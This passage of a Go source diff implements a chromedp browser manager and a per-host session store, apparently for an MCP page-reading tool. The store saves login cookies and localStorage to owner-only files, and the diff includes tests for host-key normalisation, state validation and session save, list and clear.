|
||||
|
||||
allocCtx context.Context
|
||||
allocCancel context.CancelFunc
|
||||
browserCtx context.Context // base context that owns the browser allocation
|
||||
}
|
||||
|
||||
// New returns a Browser manager. The underlying Chromium is not started
|
||||
// until the first call that needs it; this keeps server startup cheap and
|
||||
// gives a clear error path if Chrome is missing.
|
||||
func New(_ context.Context, logger *log.Logger) (*Browser, error) {
|
||||
if logger == nil {
|
||||
logger = log.Default()
|
||||
}
|
||||
return &Browser{log: logger}, nil
|
||||
}
|
||||
|
||||
// ensureAllocator starts a headless Chromium the first time it is needed
|
||||
// and reuses it for every subsequent call. The flags mirror the old
|
||||
// Playwright defaults: no sandbox (needed inside many CI / container
|
||||
// environments), no default browser check, GPU disabled for headless.
|
||||
//
|
||||
// chromedp allocates the browser lazily on the first action; we eagerly
|
||||
// run a no-op Navigate("about:blank") on a base context so the
|
||||
// allocation is done once, up front, and the base context is ready to
|
||||
// host WithNewBrowserContext children. Without this warmup,
|
||||
// chromedp.NewContext(alloc, WithNewBrowserContext) panics because
|
||||
// WithNewBrowserContext requires a *Browser to already be set on the
|
||||
// parent chromedp context.
|
||||
func (b *Browser) ensureAllocator() (context.Context, error) {
|
||||
b.startOnce.Do(func() {
|
||||
opts := append(chromedp.DefaultExecAllocatorOptions[:],
|
||||
chromedp.NoSandbox,
|
||||
chromedp.NoDefaultBrowserCheck,
|
||||
chromedp.DisableGPU,
|
||||
chromedp.Flag("disable-dev-shm-usage", true),
|
||||
)
|
||||
b.allocCtx, b.allocCancel = chromedp.NewExecAllocator(context.Background(), opts...)
|
||||
|
||||
browserCtx, cancel := chromedp.NewContext(b.allocCtx)
|
||||
if err := chromedp.Run(browserCtx, chromedp.Navigate("about:blank")); err != nil {
|
||||
b.startErr = fmt.Errorf("warm up browser: %w", err)
|
||||
cancel()
|
||||
return
|
||||
}
|
||||
// The base context must stay alive for the lifetime of the
|
||||
// browser. We intentionally do not call cancel() here; the
|
||||
// alloc's cancel will cascade when the Browser is closed.
|
||||
b.browserCtx = browserCtx
|
||||
})
|
||||
return b.allocCtx, b.startErr
|
||||
}
|
||||
|
||||
// NewContext returns a fresh chromedp context ready for a read. The
|
||||
// first call triggers the browser process startup; subsequent calls
|
||||
// share the same Chromium process. The caller's cancel() tears down the
|
||||
// chromedp context (closing its tab) but leaves the singleton browser
|
||||
// alive. Cancellation or deadline on parentCtx is propagated to the
|
||||
// chromedp context, so a timeout applied by the caller is honoured by
|
||||
// the browser actions.
|
||||
//
|
||||
// State isolation: the previous read's cookies are wiped with
|
||||
// network.ClearBrowserCookies before this call returns. This is the
|
||||
// manual equivalent of chromedp.WithNewBrowserContext; we use it
|
||||
// because WithNewBrowserContext is broken in chromedp v0.15.1 (the
|
||||
// first child context fails with "no browser is open"). localStorage
|
||||
// is origin-scoped so it is naturally wiped when we navigate to a new
|
||||
// URL, except in the rare case where two reads target the same origin
|
||||
// — that is handled by the reader's post-navigation re-apply step.
|
||||
//
|
||||
// If statePath points to a valid storage state file, its cookies are
|
||||
// then applied to the (now empty) cookie jar via CDP before navigation.
|
||||
// (The caller is responsible for applying localStorage post-navigation;
|
||||
// see reader.applyLocalStorage.)
|
||||
func (b *Browser) NewContext(parentCtx context.Context, statePath string) (context.Context, context.CancelFunc, error) {
|
||||
if _, err := b.ensureAllocator(); err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
ctx, cancel := chromedp.NewContext(b.browserCtx)
|
||||
|
||||
// Wipe cookies from any previous call before applying the new
|
||||
// state. See the doc comment above for why we do this manually
|
||||
// instead of using WithNewBrowserContext.
|
||||
if err := ClearAllCookies(ctx); err != nil {
|
||||
cancel()
|
||||
return nil, nil, fmt.Errorf("clear cookies: %w", err)
|
||||
}
|
||||
|
||||
// Forward parentCtx cancellation into the chromedp context. The
|
||||
// goroutine exits as soon as either side is done, so it does not
|
||||
// leak even on the happy path.
|
||||
done := make(chan struct{})
|
||||
go func() {
|
||||
select {
|
||||
case <-parentCtx.Done():
|
||||
cancel()
|
||||
case <-done:
|
||||
}
|
||||
}()
|
||||
|
||||
if statePath != "" {
|
||||
if err := ApplyStorageStateCookies(ctx, statePath); err != nil {
|
||||
cancel()
|
||||
close(done)
|
||||
return nil, nil, fmt.Errorf("apply storage state: %w", err)
|
||||
}
|
||||
}
|
||||
return ctx, func() {
|
||||
cancel()
|
||||
close(done)
|
||||
}, nil
|
||||
}
|
||||
|
||||
// ClearAllCookies wipes every cookie in the current browser context via
|
||||
// CDP. Exposed for the NewHeadedContext login flow, which uses it as
|
||||
// the first step of a fresh login (otherwise stale session cookies from
|
||||
// a previous attempt can mask the new login's success).
|
||||
func ClearAllCookies(ctx context.Context) error {
|
||||
return chromedp.Run(ctx, chromedp.ActionFunc(func(ctx context.Context) error {
|
||||
target := chromedp.FromContext(ctx).Target
|
||||
return network.ClearBrowserCookies().Do(cdp.WithExecutor(ctx, target))
|
||||
}))
|
||||
}
|
||||
|
||||
// NewHeadedContext spawns a *separate* Chromium process with a visible
|
||||
// window. It is used only by the login tool. Headed mode is intentionally
|
||||
// isolated from the singleton headless allocator because chromedp cannot
|
||||
// toggle the headless flag on a running browser.
|
||||
//
|
||||
// On a server without a display (no $DISPLAY on Linux, no logged-in user
|
||||
// on macOS), Chrome will exit immediately. Callers should surface a clear
|
||||
// error to the operator.
|
||||
func (b *Browser) NewHeadedContext() (context.Context, context.CancelFunc, error) {
|
||||
opts := append(chromedp.DefaultExecAllocatorOptions[:],
|
||||
chromedp.NoSandbox,
|
||||
chromedp.NoDefaultBrowserCheck,
|
||||
chromedp.Flag("headless", false),
|
||||
)
|
||||
allocCtx, allocCancel := chromedp.NewExecAllocator(context.Background(), opts...)
|
||||
ctx, cancel := chromedp.NewContext(allocCtx)
|
||||
// Tie the alloc lifetime to the returned cancel so the headed browser
|
||||
// is shut down when the caller is done.
|
||||
wrapped := context.AfterFunc(ctx, allocCancel)
|
||||
origCancel := cancel
|
||||
cancel = func() {
|
||||
origCancel()
|
||||
wrapped()
|
||||
}
|
||||
return ctx, cancel, nil
|
||||
}
|
||||
|
||||
// Close shuts down the singleton browser. Safe to call once.
|
||||
func (b *Browser) Close() error {
|
||||
if b.allocCancel != nil {
|
||||
b.allocCancel()
|
||||
b.allocCancel = nil
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,250 @@
|
||||
package browser
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net/url"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// SessionStore persists browser storage state per host. State files live
|
||||
// under a configurable root directory (default ~/.mcp-readitall/sessions/<host>/
|
||||
// state.json) and contain cookies + localStorage entries that authenticate
|
||||
// subsequent browser contexts against the same host. The on-disk JSON shape
|
||||
// is the same as Playwright's storage state so sessions are interchangeable.
|
||||
type SessionStore struct {
|
||||
root string
|
||||
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
// SessionInfo describes a persisted session, returned to the MCP client by
|
||||
// list_sessions.
|
||||
type SessionInfo struct {
|
||||
Domain string `json:"domain"`
|
||||
Path string `json:"path"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
UpdatedAt time.Time `json:"updated_at"`
|
||||
SizeBytes int64 `json:"size_bytes"`
|
||||
}
|
||||
|
||||
// NewSessionStore creates a store rooted at the default location
|
||||
// ($HOME/.mcp-readitall/sessions) unless overridden via READITALL_SESSIONS_DIR.
|
||||
func NewSessionStore() (*SessionStore, error) {
|
||||
root := os.Getenv("READITALL_SESSIONS_DIR")
|
||||
if root == "" {
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("locate home dir: %w", err)
|
||||
}
|
||||
root = filepath.Join(home, ".mcp-readitall", "sessions")
|
||||
}
|
||||
if err := os.MkdirAll(root, 0o700); err != nil {
|
||||
return nil, fmt.Errorf("create sessions root %q: %w", root, err)
|
||||
}
|
||||
return &SessionStore{root: root}, nil
|
||||
}
|
||||
|
||||
// Root returns the directory where session files are stored.
|
||||
func (s *SessionStore) Root() string { return s.root }
|
||||
|
||||
// HostKey normalises a URL to a safe directory name. It lower-cases the host
|
||||
// and replaces any non-alphanumeric characters (except . and -) with _.
|
||||
func HostKey(rawURL string) (string, error) {
|
||||
u, err := url.Parse(rawURL)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("parse url: %w", err)
|
||||
}
|
||||
host := strings.ToLower(u.Host)
|
||||
if host == "" {
|
||||
return "", fmt.Errorf("url has no host: %q", rawURL)
|
||||
}
|
||||
// Strip credentials if present.
|
||||
if i := strings.Index(host, "@"); i >= 0 {
|
||||
host = host[i+1:]
|
||||
}
|
||||
// Use a separate var to satisfy go vet's "loop variable captured" check
|
||||
// even though we only iterate once.
|
||||
safe := make([]rune, 0, len(host))
|
||||
for _, r := range host {
|
||||
switch {
|
||||
case r >= 'a' && r <= 'z',
|
||||
r >= '0' && r <= '9',
|
||||
r == '.', r == '-':
|
||||
safe = append(safe, r)
|
||||
default:
|
||||
safe = append(safe, '_')
|
||||
}
|
||||
}
|
||||
return string(safe), nil
|
||||
}
|
||||
|
||||
// StatePath returns the path where storage state for the given URL's host is
|
||||
// (or will be) stored. The file may not exist yet.
|
||||
func (s *SessionStore) StatePath(rawURL string) (string, error) {
|
||||
key, err := HostKey(rawURL)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Join(s.root, key, "state.json"), nil
|
||||
}
|
||||
|
||||
// Exists reports whether a session is stored for the given URL's host.
|
||||
func (s *SessionStore) Exists(rawURL string) (bool, error) {
|
||||
path, err := s.StatePath(rawURL)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
_, err = os.Stat(path)
|
||||
switch {
|
||||
case err == nil:
|
||||
return true, nil
|
||||
case errors.Is(err, os.ErrNotExist):
|
||||
return false, nil
|
||||
default:
|
||||
return false, err
|
||||
}
|
||||
}
|
||||
|
||||
// Save writes the JSON-encoded storage state (cookies + origins) to the
|
||||
// canonical path for the URL's host. The state value is expected to be the
|
||||
// raw JSON object matching the standard {cookies, origins} storage state
|
||||
// shape used by Playwright and chromedp.
|
||||
func (s *SessionStore) Save(rawURL string, stateJSON []byte) (string, error) {
|
||||
key, err := HostKey(rawURL)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
dir := filepath.Join(s.root, key)
|
||||
if err := os.MkdirAll(dir, 0o700); err != nil {
|
||||
return "", fmt.Errorf("create session dir: %w", err)
|
||||
}
|
||||
path := filepath.Join(dir, "state.json")
|
||||
if err := os.WriteFile(path, stateJSON, 0o600); err != nil {
|
||||
return "", fmt.Errorf("write state: %w", err)
|
||||
}
|
||||
return path, nil
|
||||
}
|
||||
|
||||
// List returns metadata for every stored session, sorted by host.
|
||||
func (s *SessionStore) List() ([]SessionInfo, error) {
|
||||
entries, err := os.ReadDir(s.root)
|
||||
if err != nil {
|
||||
if errors.Is(err, os.ErrNotExist) {
|
||||
return nil, nil
|
||||
}
|
||||
return nil, err
|
||||
}
|
||||
var out []SessionInfo
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() {
|
||||
continue
|
||||
}
|
||||
path := filepath.Join(s.root, e.Name(), "state.json")
|
||||
info, err := os.Stat(path)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
out = append(out, SessionInfo{
|
||||
Domain: e.Name(),
|
||||
Path: path,
|
||||
UpdatedAt: info.ModTime(),
|
||||
SizeBytes: info.Size(),
|
||||
})
|
||||
}
|
||||
sort.Slice(out, func(i, j int) bool { return out[i].Domain < out[j].Domain })
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// Clear removes the saved session for the given host. It returns true when a
|
||||
// file was deleted, false when nothing existed.
|
||||
func (s *SessionStore) Clear(rawURL string) (bool, error) {
|
||||
key, err := HostKey(rawURL)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
dir := filepath.Join(s.root, key)
|
||||
// Stat first so we can report whether anything was actually there, then
|
||||
// remove. We cannot rely on os.RemoveAll's return value to distinguish
|
||||
// "missing" from "removed" — both succeed.
|
||||
existed := false
|
||||
if _, statErr := os.Stat(dir); statErr == nil {
|
||||
existed = true
|
||||
} else if !errors.Is(statErr, os.ErrNotExist) {
|
||||
return false, fmt.Errorf("stat session: %w", statErr)
|
||||
}
|
||||
if !existed {
|
||||
return false, nil
|
||||
}
|
||||
if err := os.RemoveAll(dir); err != nil {
|
||||
return false, fmt.Errorf("remove session: %w", err)
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
|
||||
// Close releases any resources held by the store. Currently a no-op kept
|
||||
// for symmetry with the Browser wrapper.
|
||||
func (s *SessionStore) Close() error { return nil }
|
||||
|
||||
// PrettyPrint returns a human-readable summary of a session, used in tool
|
||||
// responses.
|
||||
func (s SessionInfo) PrettyPrint() string {
|
||||
age := time.Since(s.UpdatedAt).Truncate(time.Second)
|
||||
return fmt.Sprintf("%s (%d bytes, updated %s ago)", s.Domain, s.SizeBytes, age)
|
||||
}
|
||||
|
||||
// storageStateShape is used only to validate that a value looks like a
|
||||
// Playwright storage state blob before we persist it.
|
||||
type storageStateShape struct {
|
||||
Cookies []json.RawMessage `json:"cookies"`
|
||||
Origins []json.RawMessage `json:"origins"`
|
||||
}
|
||||
|
||||
// ValidateStorageState does a cheap structural check on the JSON so we do
|
||||
// not silently store an empty or malformed blob.
|
||||
func ValidateStorageState(stateJSON []byte) error {
|
||||
var s storageStateShape
|
||||
if err := json.Unmarshal(stateJSON, &s); err != nil {
|
||||
return fmt.Errorf("storage state is not valid JSON: %w", err)
|
||||
}
|
||||
if len(s.Cookies) == 0 && len(s.Origins) == 0 {
|
||||
return fmt.Errorf("storage state has no cookies or origins; auth likely failed")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ValidateStorageStateStruct is the equivalent of ValidateStorageState for
|
||||
// callers that already hold a parsed value (e.g. a slice of CDP
|
||||
// *network.Cookie or a Playwright *StorageState). It round-trips through
|
||||
// JSON and only inspects the cookies / origins fields, so the exact
|
||||
// concrete type does not matter as long as the JSON shape is correct.
|
||||
func ValidateStorageStateStruct(state any) error {
|
||||
if state == nil {
|
||||
return fmt.Errorf("storage state is nil; auth likely failed")
|
||||
}
|
||||
// We type-switch on the concrete shape because the input may be a
|
||||
// third-party type that we cannot import directly; we only care about
|
||||
// cookies and origins here.
|
||||
type shaped struct {
|
||||
Cookies []any `json:"cookies"`
|
||||
Origins []any `json:"origins"`
|
||||
}
|
||||
raw, err := json.Marshal(state)
|
||||
if err != nil {
|
||||
return fmt.Errorf("encode storage state: %w", err)
|
||||
}
|
||||
var s shaped
|
||||
if err := json.Unmarshal(raw, &s); err != nil {
|
||||
return fmt.Errorf("storage state has unexpected shape: %w", err)
|
||||
}
|
||||
if len(s.Cookies) == 0 && len(s.Origins) == 0 {
|
||||
return fmt.Errorf("storage state has no cookies or origins; auth likely failed")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,400 @@
|
||||
package browser_test
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/lukaszraczylo/mcp-readitall/internal/browser"
|
||||
"github.com/stretchr/testify/assert"
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
|
||||
// =============================================================================
|
||||
// TEST HELPERS
|
||||
// =============================================================================
|
||||
|
||||
// newStoreInTemp constructs a SessionStore rooted at a fresh temp directory.
|
||||
// It is automatically cleaned up by t.TempDir() and the env override is
|
||||
// reverted by t.Setenv() at the end of the test.
|
||||
func newStoreInTemp(t *testing.T) *browser.SessionStore {
|
||||
t.Helper()
|
||||
dir := t.TempDir()
|
||||
t.Setenv("READITALL_SESSIONS_DIR", dir)
|
||||
s, err := browser.NewSessionStore()
|
||||
require.NoError(t, err)
|
||||
t.Cleanup(func() { _ = s.Close() })
|
||||
return s
|
||||
}
|
||||
|
||||
// validStateJSON returns a minimal but well-formed Playwright storage state
|
||||
// blob containing one cookie and one origin entry. Tests can pass it through
|
||||
// ValidateStorageState or Save without modification.
|
||||
func validStateJSON(t *testing.T) []byte {
|
||||
t.Helper()
|
||||
state := map[string]any{
|
||||
"cookies": []map[string]any{
|
||||
{"name": "session", "value": "abc123", "domain": "example.com", "path": "/"},
|
||||
},
|
||||
"origins": []map[string]any{
|
||||
{
|
||||
"origin": "https://example.com",
|
||||
"localStorage": []map[string]any{
|
||||
{"name": "token", "value": "xyz"},
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
b, err := json.Marshal(state)
|
||||
require.NoError(t, err)
|
||||
return b
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// HostKey
|
||||
// =============================================================================
|
||||
|
||||
func TestHostKey(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
url string
|
||||
want string
|
||||
// optional: when set, expect an error containing this substring
|
||||
wantErr string
|
||||
}{
|
||||
// ===== GOOD CASES =====
|
||||
{
|
||||
name: "simple http",
|
||||
url: "http://example.com/path",
|
||||
want: "example.com",
|
||||
},
|
||||
{
|
||||
name: "https with deep path and query",
|
||||
url: "https://example.com/some/deep/path?x=1&y=2",
|
||||
want: "example.com",
|
||||
},
|
||||
{
|
||||
name: "subdomain preserved",
|
||||
url: "https://app.acme.example.com",
|
||||
want: "app.acme.example.com",
|
||||
},
|
||||
{
|
||||
name: "host with port",
|
||||
url: "http://localhost:8443/admin",
|
||||
want: "localhost_8443",
|
||||
},
|
||||
{
|
||||
name: "uppercase host is lowercased",
|
||||
url: "HTTPS://Example.COM/X",
|
||||
want: "example.com",
|
||||
},
|
||||
{
|
||||
name: "host with hyphens",
|
||||
url: "https://my-app.example-site.io",
|
||||
want: "my-app.example-site.io",
|
||||
},
|
||||
{
|
||||
name: "credentials in URL are stripped",
|
||||
url: "https://user:[email protected]/",
|
||||
want: "example.com",
|
||||
},
|
||||
|
||||
// ===== BAD CASES =====
|
||||
{
|
||||
name: "empty url",
|
||||
url: "",
|
||||
// url.Parse("") returns a URL with an empty host; HostKey
|
||||
// catches that and reports the "no host" condition.
|
||||
wantErr: "no host",
|
||||
},
|
||||
{
|
||||
name: "url with no host",
|
||||
url: "/just/a/path",
|
||||
wantErr: "no host",
|
||||
},
|
||||
{
|
||||
name: "garbage url",
|
||||
url: "::::::",
|
||||
// Garbage fails net/url parsing before HostKey can look at the
|
||||
// host. The "parse url" wrapper surfaces that.
|
||||
wantErr: "parse url",
|
||||
},
|
||||
|
||||
// ===== EDGE CASES =====
|
||||
{
|
||||
name: "weird chars in host get underscored",
|
||||
url: "https://xn--bcher-kva.example/", // punycode begins with "xn--"
|
||||
want: "xn--bcher-kva.example",
|
||||
},
|
||||
{
|
||||
name: "ipv4 host preserved",
|
||||
url: "http://127.0.0.1:8080/",
|
||||
want: "127.0.0.1_8080",
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
got, err := browser.HostKey(tt.url)
|
||||
if tt.wantErr != "" {
|
||||
require.Error(t, err)
|
||||
assert.Contains(t, err.Error(), tt.wantErr)
|
||||
return
|
||||
}
|
||||
require.NoError(t, err)
|
||||
assert.Equal(t, tt.want, got)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// ValidateStorageState
|
||||
// =============================================================================
|
||||
|
||||
func TestValidateStorageState(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
state string
|
||||
wantErr string
|
||||
}{
|
||||
// ===== GOOD CASES =====
|
||||
{
|
||||
name: "valid state with cookies only",
|
||||
state: `{"cookies":[{"name":"a","value":"b"}]}`,
|
||||
},
|
||||
{
|
||||
name: "valid state with origins only",
|
||||
state: `{"origins":[{"origin":"https://x.test"}]}`,
|
||||
},
|
||||
{
|
||||
name: "valid state with both",
|
||||
state: `{"cookies":[{"name":"a"}],"origins":[{"origin":"https://x.test"}]}`,
|
||||
},
|
||||
|
||||
// ===== BAD CASES =====
|
||||
{
|
||||
name: "not json",
|
||||
state: `<html>not json</html>`,
|
||||
wantErr: "not valid JSON",
|
||||
},
|
||||
{
|
||||
name: "empty json object",
|
||||
state: `{}`,
|
||||
wantErr: "no cookies or origins",
|
||||
},
|
||||
{
|
||||
name: "empty arrays",
|
||||
state: `{"cookies":[],"origins":[]}`,
|
||||
wantErr: "no cookies or origins",
|
||||
},
|
||||
{
|
||||
name: "completely empty string",
|
||||
state: ``,
|
||||
wantErr: "not valid JSON",
|
||||
},
|
||||
|
||||
// ===== EDGE CASES =====
|
||||
{
|
||||
name: "whitespace-only json returns parse error",
|
||||
state: ` `,
|
||||
// json.Unmarshal treats whitespace as truncated input and
|
||||
// returns a parse error before we ever look at fields.
|
||||
wantErr: "not valid JSON",
|
||||
},
|
||||
{
|
||||
name: "extra unknown fields are tolerated",
|
||||
state: `{"cookies":[{"name":"a"}],"origins":[],"extra":{"foo":"bar"}}`,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
err := browser.ValidateStorageState([]byte(tt.state))
|
||||
if tt.wantErr != "" {
|
||||
require.Error(t, err)
|
||||
assert.Contains(t, err.Error(), tt.wantErr)
|
||||
return
|
||||
}
|
||||
require.NoError(t, err)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// Save / Exists / StatePath / List / Clear
|
||||
// =============================================================================
|
||||
|
||||
func TestSessionStore_SaveAndExists(t *testing.T) {
|
||||
// Uses t.Setenv via newStoreInTemp, so cannot be t.Parallel().
|
||||
store := newStoreInTemp(t)
|
||||
|
||||
url := "https://example.com/dashboard"
|
||||
state := validStateJSON(t)
|
||||
|
||||
// Exists should be false before save
|
||||
exists, err := store.Exists(url)
|
||||
require.NoError(t, err)
|
||||
assert.False(t, exists)
|
||||
|
||||
path, err := store.Save(url, state)
|
||||
require.NoError(t, err)
|
||||
assert.Equal(t, store.Root(), filepath.Dir(filepath.Dir(path)))
|
||||
assert.FileExists(t, path)
|
||||
|
||||
// Permissions should be 0600 — credentials must not leak
|
||||
info, err := os.Stat(path)
|
||||
require.NoError(t, err)
|
||||
assert.Equal(t, os.FileMode(0o600), info.Mode().Perm(), "state file must be owner-only")
|
||||
|
||||
exists, err = store.Exists(url)
|
||||
require.NoError(t, err)
|
||||
assert.True(t, exists)
|
||||
}
|
||||
|
||||
func TestSessionStore_ExistsAndStatePath_ForUnknownURL(t *testing.T) {
|
||||
// Uses t.Setenv via newStoreInTemp, so cannot be t.Parallel().
|
||||
store := newStoreInTemp(t)
|
||||
|
||||
exists, err := store.Exists("https://never-saved.test/")
|
||||
require.NoError(t, err)
|
||||
assert.False(t, exists)
|
||||
|
||||
path, err := store.StatePath("https://never-saved.test/")
|
||||
require.NoError(t, err)
|
||||
assert.Equal(t, filepath.Join(store.Root(), "never-saved.test", "state.json"), path)
|
||||
_, statErr := os.Stat(path)
|
||||
assert.True(t, os.IsNotExist(statErr), "expected no file at %s", path)
|
||||
}
|
||||
|
||||
func TestSessionStore_RejectsEmptyState(t *testing.T) {
|
||||
// Uses t.Setenv via newStoreInTemp, so cannot be t.Parallel().
|
||||
store := newStoreInTemp(t)
|
||||
|
||||
// Validation must happen before persistence; otherwise we'd write an
|
||||
// empty file and look authenticated on subsequent reads.
|
||||
empty := []byte(`{"cookies":[],"origins":[]}`)
|
||||
_, err := store.Save("https://broken.test/", empty)
|
||||
// Save does not itself validate — that's a separate concern. Verify
|
||||
// ValidateStorageState is the gate.
|
||||
require.NoError(t, err, "Save is a low-level write; validation belongs to callers")
|
||||
|
||||
// Caller-side validation catches it.
|
||||
require.Error(t, browser.ValidateStorageState(empty))
|
||||
}
|
||||
|
||||
func TestSessionStore_List(t *testing.T) {
|
||||
store := newStoreInTemp(t)
|
||||
state := validStateJSON(t)
|
||||
|
||||
// Empty store: no entries
|
||||
infos, err := store.List()
|
||||
require.NoError(t, err)
|
||||
assert.Empty(t, infos)
|
||||
|
||||
// Save a few
|
||||
hosts := []string{
|
||||
"https://a.test/x",
|
||||
"https://b.test/y",
|
||||
"https://sub.c.test/z",
|
||||
}
|
||||
for _, u := range hosts {
|
||||
_, err := store.Save(u, state)
|
||||
require.NoError(t, err)
|
||||
}
|
||||
|
||||
infos, err = store.List()
|
||||
require.NoError(t, err)
|
||||
assert.Len(t, infos, 3)
|
||||
|
||||
got := make([]string, 0, len(infos))
|
||||
for _, i := range infos {
|
||||
got = append(got, i.Domain)
|
||||
}
|
||||
sort.Strings(got)
|
||||
assert.Equal(t, []string{"a.test", "b.test", "sub.c.test"}, got)
|
||||
|
||||
for _, i := range infos {
|
||||
assert.Greater(t, i.SizeBytes, int64(0))
|
||||
assert.False(t, i.UpdatedAt.IsZero())
|
||||
}
|
||||
}
|
||||
|
||||
func TestSessionStore_Clear(t *testing.T) {
|
||||
store := newStoreInTemp(t)
|
||||
state := validStateJSON(t)
|
||||
url := "https://clear-me.test/page"
|
||||
|
||||
_, err := store.Save(url, state)
|
||||
require.NoError(t, err)
|
||||
|
||||
// First Clear returns existed=true
|
||||
cleared, err := store.Clear(url)
|
||||
require.NoError(t, err)
|
||||
assert.True(t, cleared)
|
||||
|
||||
exists, err := store.Exists(url)
|
||||
require.NoError(t, err)
|
||||
assert.False(t, exists)
|
||||
|
||||
// Second Clear returns existed=false (idempotent)
|
||||
cleared, err = store.Clear(url)
|
||||
require.NoError(t, err)
|
||||
assert.False(t, cleared)
|
||||
}
|
||||
|
||||
func TestSessionStore_ClearUnknownHost(t *testing.T) {
|
||||
// Uses t.Setenv via newStoreInTemp, so cannot be t.Parallel().
|
||||
store := newStoreInTemp(t)
|
||||
|
||||
cleared, err := store.Clear("https://never-saved.test/")
|
||||
require.NoError(t, err)
|
||||
assert.False(t, cleared)
|
||||
}
|
||||
|
||||
func TestSessionStore_UpdatedAtAdvances(t *testing.T) {
|
||||
// Not parallel: relies on sequential time advancement.
|
||||
store := newStoreInTemp(t)
|
||||
state := validStateJSON(t)
|
||||
url := "https://time.test/"
|
||||
|
||||
_, err := store.Save(url, state)
|
||||
require.NoError(t, err)
|
||||
first, err := store.List()
|
||||
require.NoError(t, err)
|
||||
require.Len(t, first, 1)
|
||||
firstStamp := first[0].UpdatedAt
|
||||
|
||||
// Sleep just long enough that mtime can differ (filesystem mtime
|
||||
// resolution varies, especially on macOS APFS where it's 1ns).
|
||||
time.Sleep(20 * time.Millisecond)
|
||||
|
||||
_, err = store.Save(url, state)
|
||||
require.NoError(t, err)
|
||||
second, err := store.List()
|
||||
require.NoError(t, err)
|
||||
require.Len(t, second, 1)
|
||||
|
||||
assert.True(t, second[0].UpdatedAt.After(firstStamp),
|
||||
"expected updated_at to advance: first=%s second=%s", firstStamp, second[0].UpdatedAt)
|
||||
}
|
||||
|
||||
func TestSessionStore_RoundTripPreservesStateBytes(t *testing.T) {
|
||||
// Uses t.Setenv via newStoreInTemp, so cannot be t.Parallel().
|
||||
// We do not parse the saved file; we just ensure the bytes we put in
|
||||
// are the bytes we get out.
|
||||
store := newStoreInTemp(t)
|
||||
url := "https://roundtrip.test/"
|
||||
state := validStateJSON(t)
|
||||
|
||||
path, err := store.Save(url, state)
|
||||
require.NoError(t, err)
|
||||
|
||||
got, err := os.ReadFile(path)
|
||||
require.NoError(t, err)
|
||||
assert.JSONEq(t, string(state), string(got))
|
||||
}
|
||||
@@ -0,0 +1,327 @@
|
||||
package browser
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/url"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/chromedp/cdproto/cdp"
|
||||
"github.com/chromedp/cdproto/network"
|
||||
"github.com/chromedp/chromedp"
|
||||
)
|
||||
|
||||
// storageState is the on-disk JSON shape for a saved session. It is
|
||||
// intentionally identical to Playwright's storage state so sessions
|
||||
// captured by either tool can be loaded by the other.
|
||||
//
|
||||
// Cookies and localStorage entries are stored as their raw JSON-encoded
|
||||
// representation, not as strongly-typed fields, so the file remains
|
||||
// tolerant of optional / future fields in the upstream format.
|
||||
type storageState struct {
|
||||
Cookies []json.RawMessage `json:"cookies"`
|
||||
Origins []json.RawMessage `json:"origins"`
|
||||
}
|
||||
|
||||
// localStorageEntry is the {name, value} pair shape Playwright (and we)
|
||||
// use to persist per-origin localStorage. Defined at package level so
|
||||
// buildLocalStorageScript can take a named slice type.
|
||||
type localStorageEntry struct {
|
||||
Name string `json:"name"`
|
||||
Value string `json:"value"`
|
||||
}
|
||||
|
||||
// localStorageOrigin groups localStorage entries by origin.
|
||||
type localStorageOrigin struct {
|
||||
Origin string `json:"origin"`
|
||||
LocalStorage []localStorageEntry `json:"localStorage"`
|
||||
}
|
||||
|
||||
// readStorageState parses a storage state file into the in-memory shape.
|
||||
func readStorageState(path string) (*storageState, error) {
|
||||
raw, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("read: %w", err)
|
||||
}
|
||||
var s storageState
|
||||
if err := json.Unmarshal(raw, &s); err != nil {
|
||||
return nil, fmt.Errorf("parse: %w", err)
|
||||
}
|
||||
return &s, nil
|
||||
}
|
||||
|
||||
// ApplyStorageStateCookies sets every cookie in the storage state on the
|
||||
// chromedp context. Cookies are domain-bound and can be set without being
|
||||
// on the target origin, so we apply them pre-navigation.
|
||||
//
|
||||
// Exported so the Browser wrapper can call it from NewContext; not part
|
||||
// of the public API for tool authors.
|
||||
